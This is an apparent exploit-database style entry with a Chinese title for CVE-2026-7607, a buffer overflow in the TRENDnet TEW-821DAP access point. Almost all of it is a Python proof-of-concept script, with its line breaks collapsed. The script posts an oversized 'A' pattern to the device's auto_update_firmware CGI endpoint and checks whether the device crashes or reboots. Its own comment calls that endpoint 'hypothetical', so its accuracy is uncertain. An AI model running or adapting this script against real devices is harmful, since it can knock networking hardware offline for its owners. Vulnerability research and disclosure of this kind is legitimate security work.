CVE-2026-7607 TRENDnet TEW-821DAP 缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-7607: Buffer Overflow in TRENDnet TEW-821DAP This script sends a malicious payload to the auto_update_firmware endpoint. """ import requests def exploit_poc(target_ip): url = f"http://{target_ip}/cgi-bin/auto_update_firmware.cgi" # Hypothetical endpoint headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # The 'str' parameter triggers the buffer overflow # Sending a large pattern of 'A's to corrupt memory payload_data = { "str": "A" * 1000 } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, data=payload_data, headers=headers, timeout=5) print(f"[+] Response status code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("[!] Potential trigger: Check device for crash or reboot.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": target = "192.168.10.1" # Replace with actual target IP exploit_poc(target)